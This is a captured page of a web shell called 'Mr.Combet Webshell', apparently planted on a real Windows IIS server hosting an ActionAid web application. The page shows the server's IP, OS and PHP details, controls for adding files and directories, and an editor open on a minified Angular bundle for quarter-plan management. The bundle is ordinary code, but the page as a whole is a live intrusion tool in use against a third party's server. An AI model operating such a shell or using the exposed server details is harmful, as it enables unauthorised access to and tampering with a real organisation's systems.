Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
ActionAidWeb
/
Edit File Name :
18-es5.10829563ce5e5f781703.js
(window["webpackJsonp"] = window["webpackJsonp"] || []).push([[18],{ /***/ "./src/@fuse/directives/fuse-inner-scroll/fuse-inner-scroll.directive.ts": /*!*******************************************************************************!*\ !*** ./src/@fuse/directives/fuse-inner-scroll/fuse-inner-scroll.directive.ts ***! \*******************************************************************************/ /*! exports provided: FuseInnerScrollDirective */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "FuseInnerScrollDirective", function() { return FuseInnerScrollDirective; }); /* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); /* harmony import */ var rxjs__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! rxjs */ "./node_modules/rxjs/_esm5/index.js"); /* harmony import */ var rxjs_operators__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! rxjs/operators */ "./node_modules/rxjs/_esm5/operators/index.js"); var FuseInnerScrollDirective = /** @class */ (function () { /** * Constructor * * @param {ElementRef} _elementRef * @param {FuseMatchMediaService} _fuseMediaMatchService * @param {Renderer2} _renderer */ function FuseInnerScrollDirective(_elementRef, _fuseMediaMatchService, _renderer) { this._elementRef = _elementRef; this._fuseMediaMatchService = _fuseMediaMatchService; this._renderer = _renderer; // Set the private defaults this._unsubscribeAll = new rxjs__WEBPACK_IMPORTED_MODULE_1__["Subject"](); } // ----------------------------------------------------------------------------------------------------- // @ Lifecycle hooks // ----------------------------------------------------------------------------------------------------- /** * On init */ FuseInnerScrollDirective.prototype.ngOnInit = function () { var _this = this; // Get the parent this._parent = this._renderer.parentNode(this._elementRef.nativeElement); // Return, if there is no parent if (!this._parent) { return; } // Get the grand parent this._grandParent = this._renderer.parentNode(this._parent); // Register to the media query changes this._fuseMediaMatchService.onMediaChange .pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__["takeUntil"])(this._unsubscribeAll)) .subscribe(function (alias) { if (alias === 'xs') { _this._removeClass(); } else { _this._addClass(); } }); }; /** * On destroy */ FuseInnerScrollDirective.prototype.ngOnDestroy = function () { // Return, if there is no parent if (!this._parent) { return; } // Remove the class this._removeClass(); // Unsubscribe from all subscriptions this._unsubscribeAll.next(); this._unsubscribeAll.complete(); }; // ----------------------------------------------------------------------------------------------------- // @ Private methods // ----------------------------------------------------------------------------------------------------- /** * Add the class name * * @private */ FuseInnerScrollDirective.prototype._addClass = function () { // Add the inner-scroll class this._renderer.addClass(this._grandParent, 'inner-scroll'); }; /** * Remove the class name * @private */ FuseInnerScrollDirective.prototype._removeClass = function () { // Remove the inner-scroll class this._renderer.removeClass(this._grandParent, 'inner-scroll'); }; return FuseInnerScrollDirective; }()); /***/ }), /***/ "./src/app/quarter-plan/qpp/qpp.service.ts": /*!*************************************************!*\ !*** ./src/app/quarter-plan/qpp/qpp.service.ts ***! \*************************************************/ /*! exports provided: QppService */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "QppService", function() { return QppService; }); /* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js"); /* harmony import */ var environments_environment__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! environments/environment */ "./src/environments/environment.ts"); /* harmony import */ var _angular_common_http__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @angular/common/http */ "./node_modules/@angular/common/fesm5/http.js"); /* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); /* harmony import */ var _core_services_web_api_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../../core/services/web-api.service */ "./src/core/services/web-api.service.ts"); /* harmony import */ var _core_services_utility_service__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../../core/services/utility.service */ "./src/core/services/utility.service.ts"); var QppService = /** @class */ (function () { function QppService(webApiService, utilityService, http) { this.webApiService = webApiService; this.utilityService = utilityService; this.http = http; this.basePath = environments_environment__WEBPACK_IMPORTED_MODULE_1__["environment"].apiUrl; this.planPath = this.basePath + "Plan/"; } QppService.prototype.getAllQuarterPlan = function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetAllQuarterPlanList") .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.getQuarterPlan = function (department_ids, unit_ids, years, quarters, qpp_status, qpr_status, pageNumber, pageSize) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetQuarterPlanList", { department_ids: department_ids, unit_ids: unit_ids, years: years, quarters: quarters, qpp_status: qpp_status, qpr_status: qpr_status, pageNumber: pageNumber, pageSize: pageSize, }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.getAllQuarterPlanList = function (department_ids, unit_ids, years, quarters, qpp_status, qpr_status, pageNumber, pageSize) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetAllDepUnitQuarterPlanList", { department_ids: department_ids, unit_ids: unit_ids, years: years, quarters: quarters, qpp_status: qpp_status, qpr_status: qpr_status, pageNumber: pageNumber, pageSize: pageSize, }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.getQPP = function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetQPPList") .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.getKRAByQppId = function (qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetKRAListByQppId", { qpp_id: qpp_id }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.GetKRAListByPlanParamsAsync = function (department_id, unit_id, year, quarter) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetKRAListByPlanParamsAsync", { department_id: department_id, unit_id: unit_id, year: year, quarter: quarter }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.getCoordinationByQppId = function (qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetCoordinationListByQppId", { qpp_id: qpp_id, }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.getMobilizationByQppId = function (qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetMobilizationListByQppId", { qpp_id: qpp_id, }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.getQPPDetail = function (qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetQPPDetail", { qpp_id: qpp_id }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.getQPRDetail = function (qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetQPRDetail", { qpp_id: qpp_id }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.QPPexport = function (qpp_id) { return this.http.get(this.planPath + "exportQPPDetail?qpp_id=" + qpp_id, { responseType: "blob", }); }; QppService.prototype.QPRexport = function (qpp_id) { return this.http.get(this.planPath + "QPRexport?qpp_id=" + qpp_id, { responseType: "blob", }); }; QppService.prototype.getCheckDuplicatePlan = function (department_id, unit_id, year, quarter) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetCheckDuplicatePlan", { department_id: department_id, unit_id: unit_id, year: year, quarter: quarter, }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.insertQPP = function (data) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { var token, options; return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: token = this.utilityService.getLocalStorage("AAN", "token"); options = { headers: new _angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpHeaders"]({ Authorization: "Bearer " + token, }), }; console.log("qpp options:", options); return [4 /*yield*/, this.webApiService .postWithOptions(this.planPath + "InsertQPP", data, options) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.updateQPP = function (data) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { var token, options; return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: token = this.utilityService.getLocalStorage("AAN", "token"); options = { headers: new _angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpHeaders"]({ Authorization: "Bearer " + token, }), }; console.log("qpp options:", options); return [4 /*yield*/, this.webApiService .postWithOptions(this.planPath + "UpdateQPP", data, options) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; // async updateQPP(data: any) { // return await this.webApiService.put(`${this.planPath}UpdateQPP`, data).toPromise(); // } QppService.prototype.completeQPP = function (dta) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .post(this.planPath + "CompleteQPP", dta) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.qppValidityCheck = function (data) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { var token, options; return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: token = this.utilityService.getLocalStorage("AAN", "token"); options = { headers: new _angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpHeaders"]({ Authorization: "Bearer " + token, }), }; return [4 /*yield*/, this.webApiService .post(this.planPath + "qppValidityCheck", data, options) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.approveQPP = function (dta) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .post(this.planPath + "ApproveQPP", dta) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.prototype.resetQPP = function (dta) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .post(this.planPath + "ResetQPP", dta) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; // async fullResetQPP(dta: any) { // return await this.webApiService.post(`${this.planPath}FullResetQPP`, dta).toPromise(); // } QppService.prototype.getCheckQuarterPlan = function (department_id, unit_id, year, quarter) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function () { return tslib__WEBPACK_IMPORTED_MODULE_0__["__generator"](this, function (_a) { switch (_a.label) { case 0: return [4 /*yield*/, this.webApiService .get(this.planPath + "GetCheckQuarterPlanByDepartmentIdAndUnitId", { department_id: department_id, unit_id: unit_id, year: year, quarter: quarter, }) .toPromise()]; case 1: return [2 /*return*/, _a.sent()]; } }); }); }; QppService.ngInjectableDef = _angular_core__WEBPACK_IMPORTED_MODULE_3__["ɵɵdefineInjectable"]({ factory: function QppService_Factory() { return new QppService(_angular_core__WEBPACK_IMPORTED_MODULE_3__["ɵɵinject"](_core_services_web_api_service__WEBPACK_IMPORTED_MODULE_4__["WebApiService"]), _angular_core__WEBPACK_IMPORTED_MODULE_3__["ɵɵinject"](_core_services_utility_service__WEBPACK_IMPORTED_MODULE_5__["UtilityService"]), _angular_core__WEBPACK_IMPORTED_MODULE_3__["ɵɵinject"](_angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpClient"])); }, token: QppService, providedIn: "root" }); return QppService; }()); /***/ }) }]);
Save